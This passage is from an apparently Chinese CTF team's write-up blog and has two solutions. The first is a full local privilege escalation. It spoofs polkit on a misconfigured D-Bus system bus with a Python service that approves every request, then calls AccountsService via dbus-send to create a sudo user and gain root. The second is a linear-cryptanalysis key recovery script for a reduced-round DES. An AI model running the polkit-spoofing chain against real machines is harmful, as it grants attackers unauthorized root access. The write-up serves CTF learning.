                <allow own="*"/>
                <allow own_prefix="org.zbus"/>
                <allow send_destination="*"/>
                <allow send_type="method_call"/>
        </policy>
</busconfig>

own_prefix=org.zbus 被own=*覆盖掉了,所以

这个配置文件允许任何uid的进程绑定到任何服务,那么我可以伪造polkit服务,其他服务询问polkit服务 www-data用户是否是授权用户时返回true,然后滥用org.freedesktop.Accounts添加新用户,添加的用户拥有sudo组权限

如何快速写exp:

busctl introspect org.freedesktop.PolicyKit1 /org/freedesktop/PolicyKit1/Authority

Busctl introspect的本质是

busctl call org.freedesktop.PolicyKit1 /org/freedesktop/PolicyKit1/Authority org.freedesktop.DBus.Introspectable Introspect

把上面这条命令的结果只保留org.freedesktop.PolicyKit1.Authority.CheckAuthorization方法,喂给gpt,告诉他我需要用python实现dbus polkitd,他能帮你写出exp

import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib

class PolicyKitAuthority(dbus.service.Object):
    def __init__(self, bus_name):
        super().__init__(bus_name, '/org/freedesktop/PolicyKit1/Authority')

    @dbus.service.method('org.freedesktop.PolicyKit1.Authority', 
                         in_signature='(sa{sv})sa{ss}us', 
                         out_signature='(bba{ss})')
    def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
        # Implement your authorization check here
        # Return a tuple (is_authorized, is_challenge, details)
        # For example, let's just always authorize without challenge
        return (True, False, {})


if __name__ == '__main__':
    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)

    bus = dbus.SystemBus()
    name = dbus.service.BusName('org.freedesktop.PolicyKit1', bus)
    object = PolicyKitAuthority(name)

    # Run the main loop to process D-Bus requests
    loop = GLib.MainLoop()
    loop.run()

本地编译(ubuntu 22.04可以,高版本ubuntu可能存在libc问题。) pyinstaller --onefile 编译成二进制文件,上传到服务器

./b &
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:tester string:"Tester Account" int32:1

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$Rz92IY79HzptsjcF$/n.7US0ZopP6oxWlTOdxwTzD8rtwMAxfjv4k0j6UuD5PD4YvGXHic1SK6mADgbO3cJyuVYHzpCINBF9lvnkwD1' string:'tester'

su tester
密码password123
sudo su
cat /flag

img

Crypto

又双叒叕

from Crypto.Util.number import *
from tqdm import tqdm
import des

IP = [57, 49, 55, 63, 8, 7, 50, 4, 3, 1, 23, 34, 28, 45, 30, 20, 59, 13, 42, 27, 43, 38, 41, 32, 35, 11, 17, 26, 53, 0, 36, 58, 18, 14, 56, 60, 52, 9, 5, 2, 21, 40, 47, 19, 39, 12, 51, 46, 25, 48, 33, 62, 6, 24, 37, 15, 31, 61, 54, 10, 16, 22, 44, 29]
CP_1 = [11, 26, 56, 27, 28, 46, 30, 37, 23, 5, 21, 53, 33, 42, 15, 35, 17, 52, 24, 39, 20, 59, 9, 2, 41, 48, 49, 32, 43, 62, 7, 13, 18, 40, 31, 36, 4, 10, 38, 60, 14, 22, 34, 8, 0, 54, 6, 50, 12, 55, 51, 45, 25, 16, 3, 47]
CP_2 = [53, 37, 42, 20, 7, 18, 46, 5, 23, 12, 11, 43, 45, 41, 40, 36, 21, 8, 22, 0, 33, 51, 3, 17, 6, 1, 39, 54, 29, 30, 2, 44, 10, 25, 16, 47, 31, 27, 34, 32, 14, 13, 9, 50, 26, 24, 15, 19]
P = [0, 26, 10, 24, 13, 20, 19, 23, 5, 2, 29, 22, 31, 21, 30, 12, 25, 11, 8, 9, 6, 17, 14, 28, 3, 16, 15, 27, 18, 1, 7, 4]
FP = [51, 48, 37, 61, 19, 59, 14, 3, 55, 43, 1, 63, 45, 62, 2, 20, 53, 36, 34, 41, 23, 40, 7, 24, 21, 60, 39, 27, 29, 42, 49, 57, 9, 6, 18, 13, 15, 31, 30, 46, 11, 8, 16, 33, 47, 5, 10, 58, 25, 17, 52, 50, 35, 44, 0, 26, 38, 56, 32, 22, 28, 12, 54, 4]
E = [31, 0,  1,  2,  3,  4,  3,  4,  5,  6,  7,  8,  7,  8,  9,  10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0,]
SHIFT = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]

def rev_box(box):
    return [box.index(i) for i in range(len(box))]

def permute(bits, permutation):
    return [bits[pos] for pos in permutation]

def bytes_to_bits(bytes_arr):
    return [((bytes_arr[i // 8] >> (7 - (i % 8))) & 1) for i in range(len(bytes_arr) * 8)]

def bits_to_bytes(bits_arr):
    return bytes([sum(v << (7 - i) for i, v in enumerate(row)) for row in zip(*[bits_arr[i::8] for i in range(8)])])

def xor(x, y):
    return [a ^ b for a, b in zip(x, y)]

def load_textpair(num):
    textpair = []
    pts = open(f"data/pt{num}", "rb").read()
    cts = open(f"data/ct{num}", "rb").read()
    pt = [bytes_to_bits(pts[i:i+8]) for i in range(0, 640, 8)]
    ct = [bytes_to_bits(cts[i:i+8]) for i in range(0, 640, 8)]
    for i in range(len(pt)):
        pt[i] = [pt[i][x] for x in IP]
        ct[i] = [ct[i][x] for x in rev_box(FP)]
    for x, y in zip(pt, ct):
        textpair.append((x, y))
    return textpair

def _keyschedule(key):
    round_keys = []
    # key = bytes_to_bits(key)
    key = [key[x] for x in CP_1]
    g, d = key[:28], key[28:]
    for i in range(4):
        g = g[SHIFT[i]:] + g[:SHIFT[i]]
        d = d[SHIFT[i]:] + d[:SHIFT[i]]
        tmp = g + d
        round_keys.append([tmp[x] for x in CP_2])
    return round_keys

def _substitute(R_expand):  # Substitute bytes using SBOX
    subblocks = [R_expand[k:k+6] for k in range(0, 48, 6)]
    ret = []
    for i in range(8):  # For all the sublists
        block = subblocks[i]
        # Get the row with the first and last bit
        row = int(str(block[0])+str(block[5]), 2)
        # Column is the 2,3,4,5th bits
        column = int(''.join([str(x) for x in block[1:][:-1]]), 2)
        # Take the value in the SBOX appropriated for the round (i)
        val = des.S_BOX[i][row][column]
        for j in range(3, -1, -1):
            ret.append((val >> j) & 1)
    return ret

def analyze(x, y):
    correct = ['x' for _ in range(64)]
    key_idx = list(range(64))

    for group in tqdm(range(x, y)):
        textpair = load_textpair(group)
        last_key = _keyschedule(key_idx)[-1]

        result = []
        for guess in range(1 << 6):
            k = list(map(int, bin(guess)[2:].zfill(6) + '0' * 42))

            score = 0
            for p, c in textpair:
                pl, pr, cl, cr = p[:32], p[32:], c[:32], c[32:]
                tmp = xor(k, permute(cr, E))
                tmp = permute(_substitute(tmp), P)
                score += pr[9] ^ cl[9] ^ pl[19] ^ cr[19] ^ tmp[9]

            key_bits = ['x' for _ in range(64)]
            for i in range(6):
                key_bits[last_key[i]] = str(k[i])

            result.append((min(score, len(textpair) - score), ''.join(key_bits)))
        result.sort(reverse=False)

        key_idx = key_idx[1:] + key_idx[:1]

        if result[1][0] == result[0][0]:
            continue
        if result[0][0] > 24:
            if result[0][0] + 4 >= result[1][0]:
                continue

        best = result[0][1]
        for i in range(64):
            if best[i] != 'x':
                if correct[i] == 'x':
                    correct[i] = best[i]
                elif correct[i] != best[i]:
                    print("Error")
                    exit(0)

    return ''.join(correct)

# flag = analyze(0, 1)
part_key = analyze(0, 64)
print(part_key)

def burp(key):
    segments = key.split('x')
    res = []
    def dfs(segment_index, current_variation):
        if segment_index == len(segments):
            res.append(list(map(int, current_variation)))
            return
        dfs(segment_index + 1, current_variation + "0" + segments[segment_index])
        dfs(segment_index + 1, current_variation + "1" + segments[segment_index])
    dfs(1, segments[0])
    return res

all_keys = burp(part_key)

textpair = load_textpair(0)
with open(f"data/pt0", "rb") as f:
    pt = f.read(8)
with open(f"data/ct0", "rb") as f:
    ct = f.read(8)

flag = None
for key in tqdm(all_keys):
    tmp = bits_to_bytes(key)
    cipher = des.DES(tmp, 4)
    aim = cipher.encrypt(pt)
    if aim == ct:
        print(f"Found key: {tmp.hex()}")
        flag = tmp
        break

print('aliyunctf{' + flag.hex() + '}')

img

  • DubheCTF 2024 By W&M
  • D^3CTF 2024 By W&M
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.